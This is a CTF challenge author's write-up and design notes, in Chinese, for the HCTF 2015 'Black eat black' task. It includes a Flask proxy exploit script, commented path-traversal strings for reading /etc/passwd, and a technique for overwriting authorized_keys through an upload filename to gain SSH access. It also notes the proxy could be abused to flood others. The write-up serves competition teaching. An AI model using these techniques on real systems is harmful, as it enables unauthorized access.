HCTF之Black-Eat-Black总结

HCTF

这次HCTF,我负责黑吃黑这题的出题和运维,最终只有六星一个队日穿了该题。


题目名称:Black eat black(300不足,200有余)
题目描述:使用该DNS(180.153.47.182)后,你会被劫持哦~
分值:300
开题金币:300
奖励金币:400


writeup

先给出writeup脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 # writeup.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from flask import Flask
from flask import request
from flask import Response
import time
from werkzeug.routing import BaseConverter
import requests

class MyanyConverter(BaseConverter):
weight = 200
regex = '.*'

app = Flask(__name__, static_folder = "nononono")
app.url_map.converters['myany'] = MyanyConverter

@app.route('/<myany:url>', methods = ['GET', 'POST'])
def index(url):
print "---------------------------------------------------"
req_url = "http://120.55.181.136/"+url
# req_url = "http://120.55.181.136/username/uploadfile/....//....//....//....//....//....//....//etc/passwd"
print req_url
header = {}
data = {}
my_file = {}
for x in request.headers:
if x[1] == '':
continue
if x[0] == 'Host':
header['Host'] = "127.0.0.1:4444"
# header['Host'] = "127.0.0.1:4444/username/uploadfile/../../../../../../etc/passwd"
continue
header[x[0]] = x[1]
#print header
if request.method == 'POST':
for a, b in request.form.items():
data[a] = b

if request.files and len(request.files) == 1:
te = request.files
fie = te.keys()[0]
f = request.files[fie]
set_name = 'cache/file/' + f.filename.replace('/', '').replace('.', '')
f.save(set_name)
#my_file = {fie: (f.filename, open(set_name, 'rb'))}
my_file = {fie: (f.filename, open(set_name, 'rb'))}
if my_file == {}:
req = requests.post(req_url, headers = header, data = data)
else:
header.pop('Content-Type')
req = requests.post(req_url, headers = header, data = data, files = my_file)
elif request.method == 'GET':
req = requests.get(req_url, headers = header)
else:
return '404'
h = {}

for x, y in req.headers.items():
h[x] = y
#print h
#print req.content
response = Response(req.content, req.status_code, h)
print "---------------------------------------------------"
#return ""
return response

if __name__ == '__main__':
app.run(debug = True, port = 8888, host = '127.0.0.1', threaded=True)

通过该脚本可以自由访问到gayhub,然后修改host或者url,可以任意文件读取(见脚本里的注释),读到 /etc/passwd 得到 hctf2015:x:1000:1000::/home/hctf2015:/usr/bin/whereisflag
由于 /usr/bin/whereisflag 不可读,则判断是要通过登陆触发该脚本,接下来就通过上传文件进行任意文件覆盖,上传自己的 id_rsa.pub, 然后文件名设置为 ../../../../../../../../home/hctf2015/authorized_keys 则可通过ssh远程登陆。

正常情况下这样就getshell,可以结束了,但是为了增加题目的趣(keng)味(die)性,和并不让选手真正getshell,所以我把 /bin/bash 改成了 /usr/bin/whereisflag

六星撸出来的时候, whereisflag脚本是一个 B站答题系统,我从网上随便找了100多题,然后随机出13题作为填空题,无时间限制,一旦答错,将要重新开始,看在六星凌晨3点多还在做我的答题系统,还一直答不对的情况下(其实是被队友打了),我把题目减成了2题,然后六星的成功得到flag去睡觉了,而我还要盯着服务器…- -!

然后我觉得答题挺坑的(迫于队友压力),把答题的彩蛋换了,至于是啥,还没人见过,你们自己去看看吧,比B站答题简单多了。。。。

writeup就到这了,接下来是出题思路….


出题思路

最开始我的题只是一个 gayhub,分值我觉得不到200吧,然后服务端是 Nginx + Uwsgi + flask,但是发现Nginx竟然会吃 ../(uwsgi也会,后面会说) ,这样就没法实任意文件读取了,如果少了任意文件,我觉得基本没人会想到上传 authorized_keys ,那么这题就变脑洞题了。

但是如果不配上 Nginx + Uwsgi ,然后题目描述直接把Gayhub暴露出来,我怕光flask负担不起各大赛棍的蹂躏。

在一次月黑风高夜夜,灵光一闪,有了现在的黑吃黑。

我用自己的服务器搭了一个dns服务器(怕被菊苣们日,所有服务都光了,只剩53和把ssh端口隐藏了),把所有的域名都指向了我的题目服务器。之后就是模拟DNS劫持,题目的服务器我写了一个flask作为中间人,负责劫持的你http,然后原封不动的进行转发。

通过 url = 'http://' + host + '/' + path ( + query) 这样的形式获取你要访问的网站,然后原封不动的获取的你headers 和 data,服务器进行请求,然后原封不动的返回。

然后 Gayhub 监听127.0.0.1:4444

这题的架构差不多就是这样。


Other

现在的web题,除非是有啥黑魔法,或者能像P神那样出一道神一样的代码审计题,其他的我都觉得没啥意思,而我手中没有关于php的黑魔法,也出不了有意思的代码审计的题目,所以就想着另辟奇径,而最近flask用多了,就准备用它出一道web题,然后搜到了P神在wooyun发的python 的Tornado框架的任意文件读取,这个也可以在flask里复现,不过光读取也没意思,然后灵光一闪,想到了authorized_keys的没密码登陆。。。就这样gayhub诞生了,而这题的中心思想就是不需要任何过滤的Python Web,不过仍然还是有许多问题。

  • 不配上Nginx + uwsgi受不住全国各大赛棍的蹂躏啊
  • flask框架是没漏洞的,这两个漏洞都是我人为的。。。也不是很好
  • 普通用户写文件默认权限是664,而authorized_keys要是644 或者 600 或者 640, 后两个不现实,但是在root权限下,默认就是644,不过肯定不能让root用户getshell,所以只能修改问题,把普通用户 umask 002。

不过之后加上DNS劫持就完美了,Gayhub放内网,剧情是未完成,因为未完成所以放内网,因为未完成所以只有登陆和传文件,因为未完成所以未做任何过滤。

所以该题的剧情就是,一个黑客对你进行了DNS劫持,你是被他劫持呢?还是找到他的漏洞进行反击? 所以有了黑吃黑的题目

仍然有问题:

  • 只能对http进行劫持,不过我后来想到了方法把所有https换成http返回,然后记录下来,等如果请求的url等于https列表里的,则以https请求,返回数据。不过来不及,没完成。。。。。
  • redrain大神告知,该服务有个漏洞,可以通过该代理作为跳板去攻击或者dos他人,比如请求一个很大的图片,请求后就把连接断开,这样我的服务器去请求了那张大图片,而这图片却无法返回给攻击者,也就是可以用我服务的流量去攻击他人。 不过在目前情况下不现实,首先有云盾,其次。。特么我一天24小时盯着服务器呢。。我可以ban ip。。。。不过在真实情况下的确是一种攻击思路。。。。解决办法就是做缓存吧,上面说的https的时候就想做了。。。不过也是时间原因。没来得及。。
  • 还有。。。。仍然挂nginx失败,同样会导致任意文件读取失败。。。但是这时候研究除了flask本身自带多线程,比赛第一天都是直接开flask,多线程跑的,不过还是怕负载太大挂了,第二天研究出了只挂uwsgi,成功,。。。。但是发现uwsgi也会吃 ../ (还好第二天没有人姿势是对的。。要不就坑人了),所以只能是80端口的代理服务挂载uwsgi,最后证明我是多虑了,,,我不用盯着服务器,ban人ip,在这种金币开题的赛制下,最后才31个队左右开了我的题,31个队中只有4个队发现了我的gayhub,10个队找上了我题目的服务器,所以说,根本没有压力。。。。。
  • 当host是请求本机80的时候,会无限死循环,,,,特么,,这个最蛋疼。。看下面代码

    1
    2
    3
    4
    if "120.55.181.136" in request.host or request.host == '127.0.0.1' or request.host == '0.0.0.0' or '127.0.0.1:80' in request.host or '0.0.0.0:80' in request.host or "10.117.9.191" in request.host or 'iZ23l4savztZ' in request.host or request.host =='localhost' or 'localhost:80' in request.host:
    request.host = 'www.baidu.com'

    #各大赛棍一边日,我一边加。。。根本加不完,,,特么,,这确实是我考虑不周到,出现的非预期。。因为临时改,所以坑爹的写了我有生以来最长的一行代码了。。
  • 还是端口的问题,提示的有点勉强,如果是监听本地127.0.0.1端口,nmap是扫描不到的,不会显示filtered,按道理是要自己去扫出来,如果是监听0.0.0.0端口,然后iptables再设置下,会显示为filetered,不过却不符合实际。。最后为了降低难度(降低服务器负载),所以我把端口绑定到扫描出来为filtered状态的4444端口….


总结

第一次出题,有很多不足,比如当时有想过把文件写权限给去了,可是最终忘了静态文件了,被六星的改了我的css和js,,心累。。。

也出现了很多非预期,基本是我盯着服务器日志,一发现非预期就停了服务去修改。。写了几次自动化脚本。。反而带来了更多问题。。。

还有因为flask没有gzip模块,所以返回头里还要把gzip这个给去了。。要不然浏览器打不开网页。

还有一个最烦的错误了,至今没解决
ConnectionError: ('Connection aborted.', error(104, 'Connection reset by peer'))
我分析应该是阿里云的锅,当爆这个错误时,我会收一个RST包,也就是在TCP三次握手之后,HTTP请求包发送之后,服务器返回了一个TCP的RST包,所以socket端口。。报错。。GG

服务器搭建(centos):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
yum install libxslt-devel.x86_64
yum install libxml2-devel.x86_64
ln -s /usr/include/libxml2/libxml/ /usr/include/libxml
yum install python-pip
yum install python-devel.x86_64
yum install gcc
pip install lxml
[
requests
这会出一个SSL的问题。。哎。。
yum install libffi-devel.x86_64
yum install openssl-devel.x86_64
pip install requests[security]
]
pip install uwsgi
[
yum install freetype-devel
yum install libpng-devel
yum install libjpeg-devel
pip install PIL --allow-external PIL --allow-unverified PIL
]
wget http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm
rpm -ivh nginx-release-centos-7-0.el7.ngx.noarch.rpm

(依赖问题真烦!)

ban ip小记

1
2
3
4
要封停一个IP,使用下面这条命令:
iptables -I INPUT -s ***.***.***.*** -j DROP
要解封一个IP,使用下面这条命令:
iptables -D INPUT -s ***.***.***.*** -j DROP

源码

文章目录
  1. 1. writeup
  2. 2. 出题思路
  3. 3. Other
  4. 4. 总结
    1. 4.1. 服务器搭建(centos):
    2. 4.2. ban ip小记